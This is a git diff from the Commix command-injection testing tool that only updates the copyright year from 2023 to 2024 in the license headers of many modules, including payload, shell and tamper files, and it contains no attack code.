""" This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 5183a0f682..bb7160d095 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index c4a9655e5d..580951ba3b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 94f3172ba5..826c74c86b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index a643dd84a1..f2f07393dd 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index b5ddc3e48e..4b48ff1e01 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 7765c310ca..f29a3c7cfd 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 933b610907..90efbed176 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 4df1f82d0e..9c0e1c4d1f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 67703106f8..d738712511 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 5f9b9ca4ec..4d1c6b0508 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 10fec5744f..b2d87a43a0 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 7b9df6d0bc..ad5ec1d5d5 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 8ac0fb837b..7db7aaf6ec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index fedeb4a59d..f4d0598fbf 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 2131b05d4b..16f5faf027 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index abcf884083..25e2f7cd05 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/main.py b/src/core/main.py index 19cf6355e7..976e6cca7b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 58b4336bb8..6a8c052b41 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 8de8c6a9ec..7407b677cf 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 6203126849..167779c6c1 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c6a9ae4193..3f0fc84805 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 8e8a7e7c9f..ed7abe4631 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index e1040151ba..32b03e8d20 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 5c7c759b26..27694409d4 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 9c104c12dd..7012cffea9 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index b4c60a3863..0fcfe4b7a2 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 6dd74c21b3..d0543e5942 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 2b8fe8d8db..44d3854e5f 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 80a1197a97..203e8e3098 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 39d43d44cf..91490c1192 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index fe693ce9df..c5421493b1 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 8f1f4e52e8..9e5b32a599 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 98ff400547..fb39b96715 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index b91f562d80..ecf6f074dc 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 1b9745ba32..636eb115dc 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 4098e71c52..fc57e89885 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index 29d67a96c6..3595db0a1a 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 4e94d4d045..c57458f03b 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index bb3849ea68..4dc132d756 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 69b52e66d4..e37c577925 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 523db81ac5..3d7723b988 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 5386590189..17cad0a93b 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index c67b91b8f7..c5409e067a 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 1432916146..c87e75e076 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 8cbf78f29d..c18e9cab9e 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 4ae1c8fca4..8e689afd41 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 16d9d0adaf..0abfc9701f 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 70cbc91691..39e0543b4f 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/testing.py b/src/core/testing.py index 78637df782..6d73a37c7f 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios 